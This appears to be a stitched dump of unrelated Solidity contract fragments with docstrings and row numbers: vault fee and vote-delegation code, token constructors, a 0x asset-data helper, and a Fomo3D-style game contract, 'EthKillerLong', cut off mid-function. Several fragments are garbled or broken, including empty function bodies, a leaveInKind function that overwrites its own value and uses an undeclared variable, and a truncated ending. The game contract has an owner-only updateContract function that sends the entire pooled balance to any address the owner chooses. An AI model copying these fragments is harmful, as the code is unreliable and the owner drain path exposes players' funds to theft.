returns (uint256 supplyRate_) { if (address(strategy) == address(0)) { return 0; } return strategy.getSupplyRate(); } function applyFee() external override nonReentrant { _applyFee(); } function _updateCheckpointBalance(uint256 _newCheckpointBalance) private { checkpointBalance = _newCheckpointBalance; emit UpdateCheckpoint(_newCheckpointBalance); } // Apply fees and return back the total underlying function _applyFee() private returns (uint256 totalUnderlying) { totalUnderlying = _getTotalUnderlying(); if (totalUnderlying > checkpointBalance) { if (feeTo != address(0)) { uint256 gain = totalUnderlying.sub(checkpointBalance); uint256 fee = gain.mul(feeBps).div(MAX_BPS); // fee < gain // gain >= fee * MAX_BPS / feeBps // totalBalance - gain >= 0 // totalBalance - fee > 0 // (gain * Fee%) * Supply / (U - (gain * Fee%)) if (fee > 0) { uint256 totalShares = totalSupply(); // X = F * S / (U - F) uint256 feeShares = fee.mul(totalShares).div(totalUnderlying.sub(fee)); if (feeShares > 0) { mint(feeTo, feeShares); emit ApplyFee(feeTo, gain, fee, feeShares); } } } // Update our fee collection checkpoint watermark _updateCheckpointBalance(totalUnderlying); } } modifier onlyStrategy() { require(msg.sender == address(strategy), "V:STRAT"); _; } ////// // Copied and modified from YAM code: // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol // Which is copied and modified from COMPOUND: // https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol // A record of each accounts delegate mapping(address => address) internal _delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } /// @notice A record of votes checkpoints for each account, by index mapping(address => mapping(uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping(address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); // A record of states for signing / validating signatures mapping(address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); function burn(address _from, uint256 _amount) private { _burn(_from, _amount); _moveDelegates(_delegates[_from], address(0), _amount); } function mint(address recipient, uint256 _amount) private { _mint(recipient, _amount); _initDelegates(recipient); _moveDelegates(address(0), _delegates[recipient], _amount); } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { bool result = super.transferFrom(sender, recipient, amount); // Call parent hook _initDelegates(recipient); _moveDelegates(_delegates[sender], _delegates[recipient], amount); return result; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { bool result = super.transfer(recipient, amount); // Call parent hook _initDelegates(recipient); _moveDelegates(_delegates[_msgSender()], _delegates[recipient], amount); return result; } // initialize delegates mapping of recipient if not already function _initDelegates(address recipient) internal { if (_delegates[recipient] == address(0)) { _delegates[recipient] = recipient; } } /** * @param delegator The address to get delegates for */ function delegates(address delegator) external view override returns (address) { return _delegates[delegator]; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) external override { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external override { bytes32 domainSeparator = keccak256( abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this)) ); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "V::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "V::delegateBySig: invalid nonce"); require(block.timestamp <= expiry, "V::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view override returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) external view override returns (uint256) { require(blockNumber < block.number, "V::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = balanceOf(delegator); // balance of underlying BOOs (not scaled); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates( address srcRep, address dstRep, uint256 amount ) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld - amount; _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld + amount; _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal { uint32 blockNumber = safe32(block.number, "V::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function getChainId() internal view returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } }
NOTE: Checkpoint may be below total underlying Scale the checkpoint to match the new total C = C (S - s) / S; Checkpoint balance matched beforehand so make sure it matches afterward
function leaveInKind(uint256 _share) external override nonReentrant { require(_share > 0, "V:S_ZERO"); bool belowCheckpoint; { uint256 totalUnderlying = _applyFee(); belowCheckpoint = totalUnderlying < checkpointBalance; } uint256 totalShares = totalSupply(); burn(msg.sender, _share); for (uint256 i = 0; i < numBorrowables; i++) { IBorrowable borrowable = borrowables[i]; if (_transferShareOfToken(address(borrowable), _share, totalShares) > 0) { sentSomething = true; } } { uint256 newCheckpointBalance; if (belowCheckpoint) { newCheckpointBalance = checkpointBalance.mul(totalShares.sub(_share)).div(totalShares); newCheckpointBalance = _getTotalUnderlying(); } _updateCheckpointBalance(newCheckpointBalance); } emit LeaveInKind(msg.sender, _share); }
981,860
./partial_match/1/0xc287C97754BFe97409f93EB8339Dc9448F9BdC57/sources/FlashBot.sol
exclude from paying fees or having max transaction amount
function _beforeTokenTransfer( address from, address to, uint256 amount function _afterTokenTransfer( address from, address to, uint256 amount } } } } constructor() ERC20("FlashBot", "FBT") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uint256 _buyRevShareFee = 0; uint256 _buyLiquidityFee = 0; uint256 _buyTeamFee = 1; uint256 _sellRevShareFee = 0; uint256 _sellLiquidityFee = 0; uint256 _sellTeamFee = 1; uint256 totalSupply = 1_000_000_000 * 1e18; buyRevShareFee = _buyRevShareFee; buyLiquidityFee = _buyLiquidityFee; buyTeamFee = _buyTeamFee; buyTotalFees = buyRevShareFee + buyLiquidityFee + buyTeamFee; sellRevShareFee = _sellRevShareFee; sellLiquidityFee = _sellLiquidityFee; sellTeamFee = _sellTeamFee; sellTotalFees = sellRevShareFee + sellLiquidityFee + sellTeamFee; excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(marketingWallet, true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(marketingWallet, true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); preMigrationTransferrable[owner()] = true; _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again _mint(msg.sender, totalSupply);
4,102,161
./partial_match/41/0x7fa250E1B3F586769bD522fC386352111D1da97e/sources/contracts/seed/ERC20Seed.sol
Transfers are disabled by default (only minting and burning is allowed). While transfers are paused, transfers are still allowed for whitelisted addresses. This is useful for bridging, exchanges, etc. Blacklisted addresses are always prevented from receiving and sending tokens./
function _transfer( address sender, address recipient, uint256 amount ) internal virtual override { require( !areTransfersPaused || whitelisted[recipient] || whitelisted[sender], "Transfers are paused" ); require( !blacklisted[sender] && !blacklisted[recipient], "Blacklisted sender or recipient" ); super._transfer(sender, recipient, amount); }
3,504,029
/* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "./Addresses.sol"; import "./LibAssetData.sol"; import "./LibTransactionDecoder.sol"; import "./LibOrderTransferSimulation.sol"; abstract contract ExternalFunctions is Addresses { /// @dev Decodes the call data for an Exchange contract method call. /// @param transactionData ABI-encoded calldata for an Exchange /// contract method call. /// @return functionName /// @return orders /// @return takerAssetFillAmounts /// @return signatures function decodeZeroExTransactionData(bytes memory transactionData) public pure returns( string memory functionName, LibOrder.Order[] memory orders, uint256[] memory takerAssetFillAmounts, bytes[] memory signatures ) { return LibTransactionDecoder.decodeZeroExTransactionData(transactionData); } /// @dev Decode AssetProxy identifier /// @param assetData AssetProxy-compliant asset data describing an ERC-20, ERC-721, ERC1155, or MultiAsset asset. /// @return assetProxyId The AssetProxy identifier function decodeAssetProxyId(bytes memory assetData) public pure returns ( bytes4 assetProxyId ) { return LibAssetData.decodeAssetProxyId(assetData); } /// @dev Encode ERC-20 asset data into the format described in the AssetProxy contract specification. /// @param tokenAddress The address of the ERC-20 contract hosting the asset to be traded. /// @return assetData AssetProxy-compliant data describing the asset. function encodeERC20AssetData(address tokenAddress) public pure returns (bytes memory assetData) { return LibAssetData.encodeERC20AssetData(tokenAddress); } /// @dev Decode ERC-20 asset data from the format described in the AssetProxy contract specification. /// @param assetData AssetProxy-compliant asset data describing an ERC-20 asset. /// @return assetProxyId The AssetProxy identifier /// @return tokenAddress Address of the ERC-20 contract hosting this asset. function decodeERC20AssetData(bytes memory assetData) public pure returns ( bytes4 assetProxyId, address tokenAddress ) { return LibAssetData.decodeERC20AssetData(assetData); } /// @dev Encode ERC-721 asset data into the format described in the AssetProxy specification. /// @param tokenAddress The address of the ERC-721 contract hosting the asset to be traded. /// @param tokenId The identifier of the specific asset to be traded. /// @return assetData AssetProxy-compliant asset data describing the asset. function encodeERC721AssetData(address tokenAddress, uint256 tokenId) public pure returns (bytes memory assetData) { return LibAssetData.encodeERC721AssetData(tokenAddress, tokenId); } /// @dev Decode ERC-721 asset data from the format described in the AssetProxy contract specification. /// @param assetData AssetProxy-compliant asset data describing an ERC-721 asset. /// @return assetProxyId The ERC-721 AssetProxy identifier /// @return tokenAddress The address of the ERC-721 contract hosting this asset /// @return tokenId The identifier of the specific asset to be traded. function decodeERC721AssetData(bytes memory assetData) public pure returns ( bytes4 assetProxyId, address tokenAddress, uint256 tokenId ) { return LibAssetData.decodeERC721AssetData(assetData); } /// @dev Encode ERC-1155 asset data into the format described in the AssetProxy contract specification. /// @param tokenAddress The address of the ERC-1155 contract hosting the asset(s) to be traded. /// @param tokenIds The identifiers of the specific assets to be traded. /// @param tokenValues The amounts of each asset to be traded. /// @param callbackData Data to be passed to receiving contracts when a transfer is performed. /// @return assetData AssetProxy-compliant asset data describing the set of assets. function encodeERC1155AssetData( address tokenAddress, uint256[] memory tokenIds, uint256[] memory tokenValues, bytes memory callbackData ) public pure returns (bytes memory assetData) { return LibAssetData.encodeERC1155AssetData( tokenAddress, tokenIds, tokenValues, callbackData ); } /// @dev Decode ERC-1155 asset data from the format described in the AssetProxy contract specification. /// Each element of the returned arrays corresponds to the /// same-indexed element of the other array. Return values specified as /// `memory` are returned as pointers to locations within the memory of /// the input parameter `assetData`. /// @param assetData AssetProxy-compliant asset data describing an ERC-1155 set of assets. /// @return assetProxyId The ERC-1155 AssetProxy identifier /// @return tokenAddress The address of the ERC-1155 contract hosting the assets /// @return tokenIds An array of the identifiers of the assets to be traded /// @return tokenValues An array of asset amounts to be traded /// @return callbackData Callback data. function decodeERC1155AssetData(bytes memory assetData) public pure returns ( bytes4 assetProxyId, address tokenAddress, uint256[] memory tokenIds, uint256[] memory tokenValues, bytes memory callbackData ) { return LibAssetData.decodeERC1155AssetData(assetData); } /// @dev Encode data for multiple assets, per the AssetProxy contract specification. /// @param amounts The amounts of each asset to be traded. /// @param nestedAssetData AssetProxy-compliant data describing each asset to be traded. /// @return assetData AssetProxy-compliant data describing the set of assets. function encodeMultiAssetData(uint256[] memory amounts, bytes[] memory nestedAssetData) public pure returns (bytes memory assetData) { return LibAssetData.encodeMultiAssetData(amounts, nestedAssetData); } /// @dev Decode multi-asset data from the format described in the AssetProxy contract specification. /// @param assetData AssetProxy-compliant data describing a multi-asset basket. /// @return assetProxyId The Multi-Asset AssetProxy identifier /// @return amounts An array of the amounts of the assets to be traded /// @return nestedAssetData An array of the AssetProxy-compliant data // describing each asset to be traded. function decodeMultiAssetData(bytes memory assetData) public pure returns ( bytes4 assetProxyId, uint256[] memory amounts, bytes[] memory nestedAssetData ) { return LibAssetData.decodeMultiAssetData(assetData); } /// @dev Encode StaticCall asset data into the format described in the AssetProxy contract specification. /// @param staticCallTargetAddress Target address of StaticCall. /// @param staticCallData Data that will be passed to staticCallTargetAddress in the StaticCall. /// @param expectedReturnDataHash Expected Keccak-256 hash of the StaticCall return data. /// @return assetData AssetProxy-compliant asset data describing the set of assets. function encodeStaticCallAssetData( address staticCallTargetAddress, bytes memory staticCallData, bytes32 expectedReturnDataHash ) public pure returns (bytes memory assetData) { return LibAssetData.encodeStaticCallAssetData( staticCallTargetAddress, staticCallData, expectedReturnDataHash ); } /// @dev Decode StaticCall asset data from the format described in the AssetProxy contract specification. /// @param assetData AssetProxy-compliant asset data describing a StaticCall asset /// @return assetProxyId The StaticCall AssetProxy identifier /// @return staticCallTargetAddress The target address of the StaticCall /// @return staticCallData The data to be passed to the target address /// @return expectedReturnDataHash The expected Keccak-256 hash of the static call return data. function decodeStaticCallAssetData(bytes memory assetData) public pure returns ( bytes4 assetProxyId, address staticCallTargetAddress, bytes memory staticCallData, bytes32 expectedReturnDataHash ) { return LibAssetData.decodeStaticCallAssetData(assetData); } /// @dev Decode ERC20Bridge asset data from the format described in the AssetProxy contract specification. /// @param assetData AssetProxy-compliant asset data describing an ERC20Bridge asset /// @return assetProxyId The ERC20BridgeProxy identifier. /// @return tokenAddress The address of the ERC20 token to transfer. /// @return bridgeAddress the address of the bridge contract. /// @return bridgeData Extra data to be passed to the bridge contract. function decodeERC20BridgeAssetData(bytes memory assetData) public pure returns ( bytes4 assetProxyId, address tokenAddress, address bridgeAddress, bytes memory bridgeData ) { return LibAssetData.decodeERC20BridgeAssetData(assetData); } /// @dev Reverts if assetData is not of a valid format for its given proxy id. /// @param assetData AssetProxy compliant asset data. function revertIfInvalidAssetData(bytes memory assetData) public pure { return LibAssetData.revertIfInvalidAssetData(assetData); } /// @dev Simulates the maker transfers within an order and returns the index of the first failed transfer. /// @param order The order to simulate transfers for. /// @param takerAddress The address of the taker that will fill the order. /// @param takerAssetFillAmount The amount of takerAsset that the taker wished to fill. /// @return orderTransferResults The index of the first failed transfer (or 4 if all transfers are successful). function getSimulatedOrderMakerTransferResults( LibOrder.Order memory order, address takerAddress, uint256 takerAssetFillAmount ) public returns (LibOrderTransferSimulation.OrderTransferResults orderTransferResults) { return LibOrderTransferSimulation.getSimulatedOrderMakerTransferResults( exchangeAddress, order, takerAddress, takerAssetFillAmount ); } /// @dev Simulates all of the transfers within an order and returns the index of the first failed transfer. /// @param order The order to simulate transfers for. /// @param takerAddress The address of the taker that will fill the order. /// @param takerAssetFillAmount The amount of takerAsset that the taker wished to fill. /// @return orderTransferResults The index of the first failed transfer (or 4 if all transfers are successful). function getSimulatedOrderTransferResults( LibOrder.Order memory order, address takerAddress, uint256 takerAssetFillAmount ) public returns (LibOrderTransferSimulation.OrderTransferResults orderTransferResults) { return LibOrderTransferSimulation.getSimulatedOrderTransferResults( exchangeAddress, order, takerAddress, takerAssetFillAmount ); } /// @dev Simulates all of the transfers for each given order and returns the indices of each first failed transfer. /// @param orders Array of orders to individually simulate transfers for. /// @param takerAddresses Array of addresses of takers that will fill each order. /// @param takerAssetFillAmounts Array of amounts of takerAsset that will be filled for each order. /// @return orderTransferResults The indices of the first failed transfer (or 4 if all transfers are successful) for each order. function getSimulatedOrdersTransferResults( LibOrder.Order[] memory orders, address[] memory takerAddresses, uint256[] memory takerAssetFillAmounts ) public returns (LibOrderTransferSimulation.OrderTransferResults[] memory orderTransferResults) { return LibOrderTransferSimulation.getSimulatedOrdersTransferResults( exchangeAddress, orders, takerAddresses, takerAssetFillAmounts ); } }
Decode StaticCall asset data from the format described in the AssetProxy contract specification. assetData AssetProxy-compliant asset data describing a StaticCall asset return assetProxyId The StaticCall AssetProxy identifier return staticCallTargetAddress The target address of the StaticCall return staticCallData The data to be passed to the target address return expectedReturnDataHash The expected Keccak-256 hash of the static call return data.
function decodeStaticCallAssetData(bytes memory assetData) public pure returns ( bytes4 assetProxyId, address staticCallTargetAddress, bytes memory staticCallData, bytes32 expectedReturnDataHash ) { return LibAssetData.decodeStaticCallAssetData(assetData); }
6,362,896
pragma solidity ^0.4.24; // _____.___. __ .__.__ _____ .___.__ _____.__ .___ // \__ | | ____ ____ | | _|__|__| / \ ____ __| _/|__|/ ____\__| ____ __| _/ // / | |/ _ \_/ ___\| |/ / | | / \ / \ / _ \ / __ | | \ __\| |/ __ \ / __ | // \____ ( <_> ) \___| <| | | / Y ( <_> ) /_/ | | || | | \ ___// /_/ | // / ______|\____/ \___ >__|_ \__|__| \____|__ /\____/\____ | |__||__| |__|\___ >____ | // \/ \/ \/ \/ \/ \/ \/ // Team Just Copyright Received. // <a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="4e37212d25277f790e29232f2722602d2123">[email&#160;protected]</a> modified //============================================================================== // _ _ _ _|_ _ . // (/_\/(/_| | | _\ . //============================================================================== contract F3Devents { // fired whenever a player registers a name event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); // fired at end of buy or reload event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); // fired whenever theres a withdraw event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); // fired whenever a withdraw forces end round to be ran event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); // (fomo3d long only) fired whenever a player tries a buy after round timer // hit zero, and causes end round to be ran. event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); // (fomo3d long only) fired whenever a player tries a reload after round timer // hit zero, and causes end round to be ran. event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); // fired whenever an affiliate is paid event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); // received pot swap deposit event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } //============================================================================== // _ _ _ _|_ _ _ __|_ _ _ _|_ _ . // (_(_)| | | | (_|(_ | _\(/_ | |_||_) . //====================================|========================================= contract modularLong is F3Devents {} contract EthKillerLong is modularLong { using SafeMath for *; using NameFilter for string; using F3DKeysCalcLong for uint256; address public teamAddress = 0xc2daaf4e63af76b394dea9a98a1fa650fc626b91; function setTeamAddress(address addr) isOwner() public { teamAddress = addr; } function gameSettings(uint256 rndExtra, uint256 rndGap) isOwner() public { rndExtra_ = rndExtra; rndGap_ = rndGap; } //============================================================================== // _ _ _ |`. _ _ _ |_ | _ _ . // (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings) //=================_|=========================================================== string constant public name = "Eth Killer Long Official"; string constant public symbol = "EKL"; uint256 private rndExtra_ = 0; // length of the very first ICO uint256 private rndGap_ = 0; // length of ICO phase, set to 1 year for EOS. uint256 constant private rndInit_ = 12 hours; // round timer starts at this uint256 constant private rndInc_ = 30 seconds; // every full key purchased adds this much to the timer uint256 constant private rndMax_ = 24 hours; // max length a round timer can be //============================================================================== // _| _ _|_ _ _ _ _|_ _ . // (_|(_| | (_| _\(/_ | |_||_) . (data used to store game info that changes) //=============================|================================================ uint256 public airDropPot_; // person who gets the airdrop wins part of this pot uint256 public airDropTracker_ = 0; // incremented each time a "qualified" tx occurs. used to determine winning air drop uint256 public rID_; // round id number / total rounds that have happened uint256 public registrationFee_ = 10 finney; // price to register a name //**************** // PLAYER DATA //**************** mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name mapping (uint256 => F3Ddatasets.Player) public plyr_; // (pID => data) player data mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; // (pID => rID => data) player round data by player id & round id // mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amongst any name you own) uint256 private playerCount = 0; uint256 private totalWinnersKeys_; uint256 constant private winnerNum_ = 5; // sync change in structure Round.plyrs ///////////// playerbook /////////// function registerName(address _addr, bytes32 _name, uint256 _affCode) private returns(bool, uint256) { require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); require(pIDxName_[_name] == 0, "sorry that names already taken"); uint256 _pID = pIDxAddr_[_addr]; bool isNew = false; if (_pID == 0) { isNew = true; playerCount++; _pID = playerCount; pIDxAddr_[_addr] = _pID; plyr_[_pID].name = _name; pIDxName_[_name] = _pID; } if (_affCode != 0 && _affCode != plyr_[_pID].laff && _affCode != _pID) { plyr_[_pID].laff = _affCode; } else if (_affCode == _pID) { _affCode = 0; } return (isNew, _affCode); } function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode) private returns(bool, uint256) { uint256 _affID = 0; if (_affCode != address(0) && _affCode != _addr) { _affID = pIDxAddr_[_affCode]; } return registerName(_addr, _name, _affID); } function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode) private returns(bool, uint256) { uint256 _affID = 0; if (_affCode != "" && _affCode != _name) { _affID = pIDxName_[_affCode]; } return registerName(_addr, _name, _affID); } //**************** // ROUND DATA //**************** mapping (uint256 => F3Ddatasets.Round) public round_; // (rID => data) round data mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; // (rID => tID => data) eth in per team, by round id and team id //**************** // TEAM FEE DATA //**************** mapping (uint256 => F3Ddatasets.TeamFee) public fees_; // (team => fees) fee distribution by team mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; // (team => fees) pot split distribution by team //============================================================================== // _ _ _ __|_ _ __|_ _ _ . // (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy) //============================================================================== address owner; constructor() public { owner = msg.sender; // Team allocation structures // 0 = whales // 1 = bears // 2 = sneks // 3 = bulls // Team allocation percentages fees_[0] = F3Ddatasets.TeamFee(30,12); fees_[1] = F3Ddatasets.TeamFee(43,7); fees_[2] = F3Ddatasets.TeamFee(52,16); fees_[3] = F3Ddatasets.TeamFee(43,15); // how to split up the final pot based on which team was picked potSplit_[0] = F3Ddatasets.PotSplit(15,15); potSplit_[1] = F3Ddatasets.PotSplit(25,10); potSplit_[2] = F3Ddatasets.PotSplit(20,24); potSplit_[3] = F3Ddatasets.PotSplit(30,14); } //============================================================================== // _ _ _ _|. |`. _ _ _ . // | | |(_)(_||~|~|(/_| _\ . (these are safety checks) //============================================================================== /** * @dev used to make sure no one can interact with contract until it has * been activated. */ modifier isActivated() { require(activated_ == true, "its not ready yet. check ?eta in discord"); _; } modifier isOwner() { require(owner == msg.sender, "sorry owner only"); _; } /** * @dev prevents contracts from interacting with fomo3d */ modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } /** * @dev sets boundaries for incoming tx */ modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, "pocket lint: not a valid currency"); require(_eth <= 100000000000000000000000, "no vitalik, no"); _; } //============================================================================== // _ |_ |. _ |` _ __|_. _ _ _ . // |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract) //====|========================================================================= /** * @dev emergency buy uses last stored affiliate ID and team snek */ function() isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // buy core buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function updateContract(address newContract) isOwner() public returns (bool) { if (round_[rID_].end < now) { Fomo3dContract nc = Fomo3dContract(newContract); newContract.transfer(address(this).balance); nc.setOldContractData(address(this)); return (true); } return (false); } /** * @dev converts all incoming ethereum to keys. * -functionhash- 0x8f38f309 (using ID for affiliate) * -functionhash- 0x98a0871d (using address for affiliate) * -functionhash- 0xa65b37a1 (using name for affiliate) * @param _affCode the ID/address/name of the player who gets the affiliate fee * @param _team what team is the player playing for? */ function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz if (_affCode == 0 || _affCode == _pID) { // use last stored affiliate code _affCode = plyr_[_pID].laff; // if affiliate code was given & its not the same as previously stored } else if (_affCode != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affCode; } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == address(0) || _affCode == msg.sender) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == "" || _affCode == plyr_[_pID].name) { // use last stored affiliate code _affID = 